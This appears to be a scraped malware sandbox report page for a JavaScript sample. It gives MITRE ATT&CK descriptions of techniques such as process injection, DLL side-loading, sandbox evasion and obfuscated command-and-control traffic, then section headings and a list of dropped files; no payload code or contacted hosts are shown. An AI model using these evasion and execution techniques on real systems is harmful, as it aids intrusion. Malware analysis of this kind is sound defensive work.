Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5250250172915227960.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\200ca580-6501-4053-862b-00ba4eb0a3be.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5960

Windows Analysis Report
5250250172915227960.js